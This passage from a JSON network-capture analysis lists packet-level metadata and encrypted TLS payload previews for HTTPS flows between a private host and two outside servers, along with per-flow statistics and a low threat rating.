ba1d4efe9994d92cd3d9d6051e4dc59171226c5e47db1db7008aa1d9ecbaccf726e5b33888d35225818f733bc80697a363de40b00a43734d988a7ff492efd25861e43ebf1fd4889262973642de66024ae8b04d0faebab9703f67c0583f23d9ccec0fb7128c2c45931639149da22aa1e15201e7d67521d08fbeda43a5ac3c2cbc5e74b1e681971d21eabbd2bab8bf8fe16d3b321237690af97eeed3e9b08fd364d774680aff0e7ab3678697bdebc3345b3a4c8a499b47c46a5bfbd7faab5e959ab714bc48ab731d9e5016344fda02aa3f52a5bcedaa8e474af69aad8a2ae39256471c00d5e72d55eeab34f254782728602ff2dd9ce256ed0e0bbeac7b7584833455196f41a3707c6b78a0f308be055b109948e8d1067e8879e62a5d1f51db826dfa2d3fb94083f3daa\", \"payload_ascii\": \"X^kx\\u007f\\u001cxA\\u0001B=\\u00034\\n\\fPy, \\u0018!\\u0012\\u000bj\\u000eD\\u0013\\u000f304aVFa\\u0014,_$vf\\u0010?T d\\\\\\u0014\\u001dz2\\t\\u000f7<x$C,ni`\\\\\\u0015OLa~e*>$k\\u0005`m\\u00162\\u000f{A1[i~$\\u0017Rqy\\u0016TX\\u001dLQJ`BK2fP9f\\\"c4:\\u001e\\bR+\\\\?\\u007f\\t0&\\u0003^pQhm}\\u007f+\\u001aFnlLB$Nc~w\\u0015C6d\\u0004s%Ux_xp@kj\\u001aKJX\\u000bqmS\\u001fW\\u001c,YdL_oV,A{\\u0004qd/\\u000bhbkVpYR\\f+\\u0010K\\u000f7E(Q`&\\n*p\\u001c\\u0001kqHq<x\\u001bi5VlOfLCm\\u001d\\u0013pE(\\u0017\\u0001\\u0017LO\\u0016Lt\\u0006b \\u0010!Ge\\u0011?vHkG6ykm#{A\\u0002^1aM\\u0018Q\\u000b7tG\\u0016{K\\u000b\\u001f\\u0002\\u0004^@\\u000e\\u0004mLZ\\u0012\\u0005zTn\\u0018`v\\u0010\\u0011\\u0019P>JLhgc\\u007f[dclB\\u007f\\u0018\\u0018yIn\\u0011~\\u0003mj0\\u0019;)\\\"JZ@=fa:SNXC?We o\\fBlPH\\u0005Kl`ZhP>oDq\\u001aY`z \\\"V.\\u0005M?r\\r\\u0007\\u0006YSF\\u001dTg-y\\u0003O'?>\\u007fohsZG5.>LSw2r\\u0005#O\\\\Wh?\\u00132y,\\u0000\\u0010M\\u0005\\u000eh\\u0015\\f:V\\nTt\\u0001D\\u0002\\u0004oaegh\\b[R\\u001eUy94N@<I,%\\f\\u001bS\\u001c\\u0014mP\\u0018D\\u0012XqE\\u000elu\\u0007d\\u0018eYBQ\\u0007I+P\\u0011\\u000f#\\u0002O8o4ar\\u0019o\\u001a6IiD\\\\q;\\b`w\\u000fI' \\u0002R,lD\\u0014W\\u000f\\u001a\\u00033%h.U9p\\u0016<{xl/au\\u0002\\f[g%\\u000e\\u0003S\\u0004tKRT11~8e\\u0003Qni_\\u00195417Hz_NL70:(\\u0015 vI\\n.\\u0000l\\u0019\\u0015O\\u000bt:]<\\u001e!\\u0012P\\b&u\\u000bn+oe58\\u0014\\u0005y=1?\\u0012yn4\\u0010\\\"sXgdO\\u001e\\u0005h\\u0000u@BSU\\u0010V\\u001c,yhpF\\u0016Bt'9If\\fDj\\u0013)\\u0004\\u0018u|o\\\\QKq@c!{de6h\\u001fa^?\\u001fFGW\\u001b\\u0000\\u000e1%.c\\r\\u0014d;M\\u0000\\u001e-[I\\u0001oC\\u000edK\\u0019Z}w#\\u001andzr''\\u0019n4\\u001f5$L\\t\\u0007@3V\\u000b@(\\u001c\\fP\\u000e\\u0016dHT9\\u000e:\\u001e)(h:Dh\\u0019_(\\u001d\\\"NRk@t0O\\u0004\\u0018\\u000eu1P1>NF\\u000e\\u0010O\\nU\\u0001\\u000eDQ\\u001dGD4\\f\\u0012Y\\tF\\u000bz\\u0011:8\\u0019\\u000b5Nc3\\u001dy\\u0006{*\\u0001j[\\u0016Y\\u0016\\u0017&\\u0010Q\\u000f\\njE5j,l\\u001d\\u0017L\\u0016C\\u0005X#%O8\\u0000?<^y\\u0019^3/a\\u0017\\u0000;Xqc}\\u0016\\u001dykPSkPvSl\\u0001{|\\u0017(\\u001aA\\u001f\\u0006\\u007f;\\fh_zFi]^12A|ja\\u0016/J\\u0011 \\u0019Umb\\u00179\\u0007U\\u0000OID\\u001dTuQ\\u0005I\\\",W1\\\\\\f\\u0003\\u00128.[|\\u0012i\\u001af\\u000e\\\"a_\\u001a<\\u00064k\\u0013]6\\u000f\\u0003\\u0019\\u0013&\\u001c?|6m-\\u000b3%fEZrS+uVeum%\\u0004P\\u0007\\rM9\\u001809w2gg\\u001f\\u0018dVxb\\b\\u0006X\\u0007r\\u0003\\u007f%R,\\u0000]JJ\\u0014\\rohD\\u0002\\u00136\\u0013|WC`o^,)5\\\"zP&cSrS\\\"\\u001f\\tMsC!EnH/\\u0012\\u0003@j!CVa\\u0013|h\\u001d!)\\u001e$t>}5KN\\u007fw\\u00162.N2c`\\u0007\\u0000|\\u001aC_k7{\\u0015jlZ\\u000135qB{E.Mi\\u000b\\\":z\\u0017!>@?\\u007fUa\\u0003w\\u0002@^\\tLn_l\\u0016&}m\\u0003\\u0010\\u0004\\u00191(KA\\u00105_(a\\niE[^h+j:!G5o\\f_HH(w\\u001fH)caa\\u0003h-T\\n\\u0017\\u0002\\u001f\\\"_g\\u0016p;{l!7\\\"\\u0018=\\u0000SG|'*i|b~W\\u001aj4\\u001c\\u0011O\\u0016T~~c\\u007f%I\\u001e\\u0004i\\n\\rq{O)O7\\\\Cs\\u001ar\\u0002DZV\\r_\\u0002l&\\u0013(\\u0016&z@}uE\\u0018z\\u0007`\\u0014`nO]gJ7*'oW\\u00007B.\\u0006\\u000fH\\u0002#+Q#$\\u007f\\u0005DX\\u001f|~8m{q\\u0019tk\\u0019JHPu\\u001b\\u0000\\u001d\\u0005:\\u000fLP\\\\T-\\u0016*1l3\\tk\\u001bX)y\\bnA\\u0005n\\u00103\\\\\\u0004D!(ah&dZ\\u0002 \\u001d\\r%eU]A\\bD\\\\bgRr$'g\\u0018IHH{\\fxc&th\\u000b\\\\S.2o l@x\\u0017a\\u000eF?t1<h\\u001dX\\u001f!}F\\u0017fa }$`lBJemL\\u001f(&F=\\u0016R[FQ\\u0012O\\u0013\\u001c/\\u000fvzHT\\u0013_X#Ka5HF[GB@Hw!djs`\\u001e;iz(^\\u0001?E\\u001dKf\\tt\\u0016<Ot=;Gv\\u0007]\\u001d\\u000f>O }mw2PZ\\u0012\\u000evY\\u0011_%GCL\\u001dRw\\f\\u0013\\u001a?b\\b)\\t\\u0015zR^`'cjn'\\u0018HR\\u000e'ujke\\u001c^nr2n\\u00057A>5dD\\u0016S>\\\\Z1\\u000b_GDc\\u007fBhw=6\\u0015E/\\u0014f\\u0017;3djN>?\\u001f/J2%Pl\\u0004`a\\u000e*\\r!R\\u0006F&\\u0001\\u0003xo42\\u0017\\u0018+\\fAO`\\u000ff!^Ly,Nj\\u001cEQ<G-Q&\\u000e\\bow#HF,M=`QY\\u0017\\u0012&}p\\b\\u001drn[35\\\"X\\u00183iz6=\\u000b\\u000074I.%\\u001eCH&)sd-`$\\u0004\\u0003|\\u0005=q(Y1cI\\\"\\u001e\\u0015 \\u001e}gR\\u001d\\b:ZK\\u001eh\\u0019q\\u001e+\\u0016!#v>\\b6MwF6xi{3E|F\\u007fYqK1\\u0001cD**[ti9%dq\\r^r^O%Gr\\u0002-%nXH3EQ\\u001a7\\u0007\\u000f0U\\t\\u0010gb\\u001d&\\b?=\"}, {\"packet_number\": 17, \"timestamp\": 1782655302.849285, \"timestamp_iso\": \"2026-06-28T19:31:42.849285\", \"timestamp_human\": \"2026-06-28 19:31:42.849\", \"size\": 2295, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41083, \"ip_len\": 2281, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553021832, \"tcp_ack\": 1308797981, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2241, \"payload_preview\": \"a1eb546d3125ccdac1d1b52a9e908046711cd2eaeb2eb5a73c4760e7f923a0c421f38cf45c2bf9cfa5aee7d47f55efe9c5ae4343d837cd5bd239fe1701a12c6cbb05453bfc83784d05582593af5698e6b72010b4ac5442ca3519b7c648347965582fc81c51c57bf307f98959d91f499faa56b88ae16991cea2b7099b06ab3d9cd0ef1954ddf9dbf533671cd9d4e14b8e27c68cc8a4672dfd0cd4bd99bf44b8a9c820c5507c3e72a931c7d3dfd1303cb11f2548eb6142a8fafb075d779e1af2e971928dbad25d72e70320fcd2180254c2839287854ad94b5d13773683ed456560ab113244bbc3006a74598d395759b9b50401c49f36b86d0aaf36aff115e5ae7f81864458f957c4083ae4903d05317a18172eff53e4efaf221ec4ce672e125a104da3e4770ade1074866db09ee5791317bc17f3911d4beeb5e009ff5a2e6defc7d02d56c3c027febcbba8c8a57ccc94981ffcae3671d1dafe613d34b64e9d1a817a89f231d191ac9da59233e36a36a5e5daaba9992c52fcb37f0de6957c57ed1d821cea1307146e548225732d6863a6b031afc2497c96571c973a9adb61567586c4761671989c0ef8f8fc15e95a6450ed28bcfc747e94c0ea83a0536e87df8a0ce1d4459e6470d6825c4af515555436f475464f942a1cf963a339833a5f4bab689d7a5804a8454209c57377d7e409df1dd74482ffe81292bc4e40e3dd613697e79c07c5d536135efd802709d047ea9f5fd2ec8f08dca4adad453f491ed3939870d6b15aa23321e8c2a9baed8a39c836b65e29715da2acca850b12b7e52af22f08ca412f2e8ccdcc911c781a55ffd6564abddaacb58d549cd865f1fd24372cee293e8a8fc298519444ad806987497a89b7a71d1f2be340f9db7933112a086c9a39e5ca8cb0b74038bd43164d3d398897668ae193922e79db7ea5f386fb720cb128284d8f723d8460bd055b920c02e4f16eadd7115af7f68d25b37a0200dc236d07768af42b3672d8824fd4b26f0390ffe17100d44456db1857058b40d35a9808aa24ccf0af71be513eda2e89e93086dfd031fd69f92372bca653c141632b9be257f81de6845d8a97a2654458d0da0006e446430fdf531fd1ec716545262352ae5f656ec9450922d8f380d53fffb8d1f1d134d39d85c107ff57b8e82beea1c2e46c1b2a34c77f4c9c54fbca91287fe5178de68dc27b444ed59d2af7dcc839480ed0c51e30377e30eda77aef304e85bc79b7977295e07415b10b638ed10b7fcce16a657b6b074d0713eae429e693a040810ba3a543a1fbd8361345b9e057fb1f39ccff5ba5a98e764a51f8907847caa6f0cd997598cb71fea921539acbec037330451b9af67ee21ada574760274a39f0a7b1844351c276bdf312fee43909468e04e8e89ff4b7113ca4796f8fefb99db91baac65a2a5ab534cf4c0f11106d756c2b5c97e26d1f7269b2dd4c75ac31f1b0b7c2dca1d490fbe0d1f20b3e02843d9977c70b5ae102b655dd5f997f869be587739de3e52da9fa2db08b26624c3a4dc5cbd6a89fdd01abaccdda5c8166fdac743375d879694b30202816e9356549bc7f6c8764a40fed97e4d3df57ef85ff95290e29f3d70de7fac975b233e091d009bc8a7f95308286c652a435e94d448380dcadfe90b94fb1b98065c63251717005d96b000a083bf108b9cfed11d7a0672b6228068128fba8554ae0c77447adad94a2713e5942bc9f395cdadc510ae6791e261d439beb501ead2967af03308dc7f65e83f12583e768e582277148a49a25c794bf837d79699c43b6c5ea750f242180c3291f8bc111acc66254211a9c6f1d883f98a403c00e1b96daa3e6be096b5b29f7fd0306b78105da24636625380e277d6cc750fcc768e860780c96e5abe4ed364dcb1512c686def2ddd0793a2a258e600c380436431cede9c96d701ac3652104c182d90a9ce08b02ebd01d7bead0bbdd71069a8fdb96f6033967942c3d0376b07a4268bc2b6d0574a2b2be5f71787a01fe4e4bd76e076c2dcccd7863c9f3dc21007642adb481978bc0bbd27212d7dfbe55e06838230a05acb411d31f0df68abdc4c6b9ad945f2be3969e0812cfc5ff4b5b5687c722272ae2d345b852cf2f111eede7c4debb156dc3ba4e0463f865c3d1a8c36d40c0e3da55a35d6bae50c7cdce3cf9666c2f8c10b62af6a180c0685343c9b048d0dda2278913acb83b4cb8d96283c2f2b1ea30aada67f20361cb264a8b31e77a6e6954f81ab8e814b82d3a57feffd9c0c9e6d38182e60813d977c86bace1a76c00d4286dc856d5990525c2538d239c386e5ca0fb9a4700e485849f63be3105fe6923fd44846f184c4a6234587954213c620b575401218b87987c1ac6348e45b75a38a4fc869aba492cebc3276b0a07ddc89334bd09dcc2066c9ce1ae53d8354b76b79d88ed6c9d9cf5e31333e51487296ed6b8f3a27049960bdfc93fd0b2949d9f82fe695b8fba791b929741400738770d33af4f20ee6a921ac44e22a59ecc4f46b82d98bb8fb821a71dd5fb1edbc92161b94dcd2d29ea988b5c17bc877bbf1c85750533306a9e2ebbc74a22ced3c1f5307e49e27c8d4fc9af0d2efd865a15050e96ff9898ca2169f0901aa13aa0afae4f47773a4274d2f0bccb66f5366774d84129cd5b4b67ea0d6e9c3b9ae2603c283fe29c8d9911dce808b45201f5a21903635fc596bf0c89ef9464575acfc44277084e64a0b2ca0b332f24f635597cd06ef721ca38c8d14fca8ca90d82bb60ef175179e1f01764e302ce4b2cbc5af337d707258f150f6af03f01ba566bda95e0da786a247c364140bfd88f28a89a226238b6fbd95da6d89c1c96223539711e2c6b2a97a5f3ca10ffb8e627f8d0665019f94c2f502c185c88fc6e88f0b5318615747ca00e1b2b1f3dedd56743067bd3b720182e3b53e1e320d3341bf961f21f180b2285d91fb0ae054e89e5e5520fef22cc01558af695cb392e31e195f69c4b79b5257ec934177e3b0e42ab449f23a190831c70736cc5b1d3ee209d73fd0628b5c5e0769a9e398dc559cd4e9ed8bda6eb63c78125953c5da8cd0ab797d771cb350c825badee798474bf12de269fed04123f8ed0df8ede0b3721a05d510465edb093d5d654eed220c1f13068ba504d306f89a4381137de6d137773442a2f031bb5c73f\", \"payload_ascii\": \"Tm1%*Fq\\u001c.<G`#!\\\\+\\u007fUCC7[9\\u0017\\u0001,l\\u0005E;xM\\u0005X%V \\u0010TB5\\u0019H4yeX/\\u001cQ{\\u0007Y\\u001fIVi\\t\\u0006=\\u0019T3g\\u001cK'g-\\fD P|>r10<\\u001f%HaB\\u0007]w\\u001aq]r\\u0003 \\u0018\\u0002TJK]\\u0013w6Ee`\\u00112D\\u0000jtY9WY\\u0004\\u00016m\\n6\\u0015\\u007fDXW\\b:=\\u00051z\\u0018\\u0017.S\\\"\\u001eg.\\u0012Z\\u0010Mw\\n\\u0010tmy\\u0013\\u0017\\u0017\\u001dK\\tZ.m-V'|\\u001f6qa=4N\\u001az13j6,R\\u007f\\r|W\\u001d\\u001c\\u0013\\u0007\\u0014nT%s-hc1I|W\\u001c:aVuv\\u0016q\\u000e\\u0015ZdP(t~Sn\\fEdp\\\\J\\u0015UT6uFO*\\u001cc9:_KhzX\\u0004EB\\tsw\\t\\u001dD\\u0012N@a6\\u00076\\u0013^'\\tG_\\bE?I\\u001epZ3!96^)q]\\u000b\\u0012*/\\bA/.\\u001cx\\u001aUVJTe$7,)>QDiIz\\u001d\\u001f+@y3\\u0011*\\bl9@8C\\u0016M=9f.y~r\\f((Mr=`\\u0005[\\f\\u0002n\\u0011Z%z\\u0002\\u0000#m\\u0007v+6rOo\\u0003q\\u0000DV\\u0018W\\u0005@Z\\b$qQ>.01i#rSAc+W\\u001d]eDX\\u0000\\u0006FC\\u000fS\\u001fqeE&#R_enE\\t\\\"?4\\u0007W+l\\u001b*4\\u007fLT(\\u007f\\u0017{DN*9H\\u000e\\u001e07~0z0Nyrt\\u0015\\u000bc\\u000b\\u007fje{k\\u0007M\\u0007\\u0013)@\\u000bC6\\u0013EW\\u001f9[vJQxGuq!S\\u0003s0E\\u001b~\\u001aWG`'J9CQv\\u00129\\tF\\u0004\\u0011<yo\\u001bZ*Z4L\\u000f\\u0011\\u0010mul+\\\\m\\u001friLu1\\u000b>\\u0002=w\\u000bZ\\u0002U_\\u007fs--&bL:M\\u0001\\\\ft3uyiK0 (\\u00165eI\\u007fld\\u000fW)\\u000e)\\ru3\\t\\u007f0R5MDOe2Qqp\\u0005k\\u0000\\n\\b;\\b\\u0011g+b(\\u0006(UJtGq>YB9\\\\Q\\ny\\u001e&\\u001dCP\\u001e)g\\u00030^%h'qH%}yiCu\\u000f$!)\\u001f\\u0011bT!\\u001ao\\u001d?\\u0003\\u000e\\u001b\\tk[)\\u0003\\u0006\\u0005$cf%8\\u000e'}lPh`x\\f6M\\u0015\\u0012y:*%`\\f8\\u00046C\\u001cmp\\u001ae!\\u0004\\n\\u0002\\u001d{q\\u0006\\u00039g,=\\u0003vzBh+m\\u0005t_qxz\\u0001NKn\\u0007l-xc!\\u0000vBr\\u0012Uh8#\\n\\u0005\\u0011\\u001f\\r_+\\b\\u0012K[V\\\"'*ER/\\u0011\\u001e\\u0015mN\\u0004cem@U]kP<fl/\\u0010*hSCH'\\u0013;Lb0g\\u0003a&J1zniT\\u001a\\u0014-:W\\b\\u0013wkl\\u0000(mV\\u0005%S#8n\\\\G\\u0000c1\\u0005i#Do\\u0018LJb4XyT!<b\\u000bWT\\u0001!|\\u001a4EZ8I,'k\\n\\u00074\\t\\u0006lS5Kvl\\u00133\\u0014)npI\\u000b?i[y\\u001bA@\\u00078w\\r3O j\\u001aN\\\"OF-!\\u001d\\u001e!aM-)\\\\\\u0017{\\u001cu\\u000530j.J\\\"0~I|O\\r.Z\\u0015\\u0005\\u000e!i\\u001a:OGw:Btf6gtA)[Kg\\rn;`<(?\\u0011\\bR\\u0001\\u0019\\u0003c_\\fdWZBw\\bNd\\u000b3/$5Y|n!8O\\r`\\u0017Qy\\u0017d\\u0002K,Z7\\u0007%\\u0015\\u000fj?\\u0001Vkxj$|6A@(\\\"b8]\\u001c\\\"59q\\u001e,k*\\u0010'fP\\u0019L/P,\\u0018\\\\n1\\u0015t|\\u000e\\u001b+\\u001f=gC\\u0006{ \\u0018.;S 4\\u001ba\\u001f\\u0018\\u000b\\\"\\u001f\\u0005NR\\u000f\\\"\\u0001U9.1Ky%~4\\u0017~;\\u000eBD#\\u001cpsl s\\u0006(v9YNc%<]\\nq5\\f[yt\\u0012&\\u0004\\u0012?\\u000b7!]Q\\u0004eT 0hPM0o8\\u00117m\\u0013wsD*/\\u0003\\u001b?\"}, {\"packet_number\": 20, \"timestamp\": 1782655303.204897, \"timestamp_iso\": \"2026-06-28T19:31:43.204897\", \"timestamp_human\": \"2026-06-28 19:31:43.204\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41085, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553024073, \"tcp_ack\": 1308798363, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 26, \"timestamp\": 1782655303.96552, \"timestamp_iso\": \"2026-06-28T19:31:43.965520\", \"timestamp_human\": \"2026-06-28 19:31:43.965\", \"size\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 41086, \"ip_len\": 673, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63946, \"tcp_seq\": 553024073, \"tcp_ack\": 1308798363, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 12, \"PSH\": 7}, \"packet_sizes\": [66, 54, 2982, 830, 54, 328, 54, 2494, 3470, 2295, 54, 687], \"inter_packet_intervals\": [0.0008730888366699219, 0.3656458854675293, 0.047907114028930664, 0.004376888275146484, 0.5724852085113525, 0.009768009185791016, 0.33243393898010254, 0.029652833938598633, 0.029947996139526367, 0.35561203956604004, 0.7606229782104492], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.5093259811401367, \"avg_packet_size\": 1114.0, \"packets_per_second\": 4.782160663935613, \"bytes_per_second\": 5327.326979624273, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 687, \"avg_interval\": 0.22812054374001242, \"min_interval\": 0.0008730888366699219, \"max_interval\": 0.7606229782104492}, {\"source\": \"10.152.152.11\", \"target\": \"40.99.204.34\", \"packet_count\": 18, \"total_bytes\": 1758, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63964], \"dst_ports\": [443], \"first_packet\": 1782655303.319875, \"last_packet\": 1782655313.07601, \"packets\": [{\"packet_number\": 21, \"timestamp\": 1782655303.319875, \"timestamp_iso\": \"2026-06-28T19:31:43.319875\", \"timestamp_human\": \"2026-06-28 19:31:43.319\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5020, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371153, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 23, \"timestamp\": 1782655303.320111, \"timestamp_iso\": \"2026-06-28T19:31:43.320111\", \"timestamp_human\": \"2026-06-28 19:31:43.320\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5021, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371154, \"tcp_ack\": 869421593, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 24, \"timestamp\": 1782655303.32159, \"timestamp_iso\": \"2026-06-28T19:31:43.321590\", \"timestamp_human\": \"2026-06-28 19:31:43.321\", \"size\": 257, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5022, \"ip_len\": 243, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371154, \"tcp_ack\": 869421593, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 29, \"timestamp\": 1782655304.243256, \"timestamp_iso\": \"2026-06-28T19:31:44.243256\", \"timestamp_human\": \"2026-06-28 19:31:44.243\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5023, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371357, \"tcp_ack\": 869425641, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 31, \"timestamp\": 1782655304.24342, \"timestamp_iso\": \"2026-06-28T19:31:44.243420\", \"timestamp_human\": \"2026-06-28 19:31:44.243\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5024, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371357, \"tcp_ack\": 869425961, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1782655304.52713, \"timestamp_iso\": \"2026-06-28T19:31:44.527130\", \"timestamp_human\": \"2026-06-28 19:31:44.527\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5025, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371357, \"tcp_ack\": 869425961, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104af2d68cdb0c2906f315622867c616ff8ac58a3eb4044a879512d01ef00a7ef2a8d0c35830735da6c8f29111eb14b8cce2c4659b12dede53739756ead89beca38e40e8f66ff43d59e4f662c2e1ab38b2e6b339897d82f95b6438e440a1ac0446f\", \"payload_ascii\": \"a\\u0004-ho1V\\\"|aoX@DyQ-\\u0001\\u0000*\\f5\\u00075l)\\u0011\\u001eK,FY-79un8\\u000efCOf,.\\u001a.k3/CD\\n\\u001aDo\"}, {\"packet_number\": 35, \"timestamp\": 1782655305.02309, \"timestamp_iso\": \"2026-06-28T19:31:45.023090\", \"timestamp_human\": \"2026-06-28 19:31:45.023\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5026, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371515, \"tcp_ack\": 869426388, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 36, \"timestamp\": 1782655305.025511, \"timestamp_iso\": \"2026-06-28T19:31:45.025511\", \"timestamp_human\": \"2026-06-28 19:31:45.025\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5027, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371515, \"tcp_ack\": 869426388, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 38, \"timestamp\": 1782655305.025574, \"timestamp_iso\": \"2026-06-28T19:31:45.025574\", \"timestamp_human\": \"2026-06-28 19:31:45.025\", \"size\": 168, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5028, \"ip_len\": 154, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371602, \"tcp_ack\": 869426388, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 40, \"timestamp\": 1782655305.025613, \"timestamp_iso\": \"2026-06-28T19:31:45.025613\", \"timestamp_human\": \"2026-06-28 19:31:45.025\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], 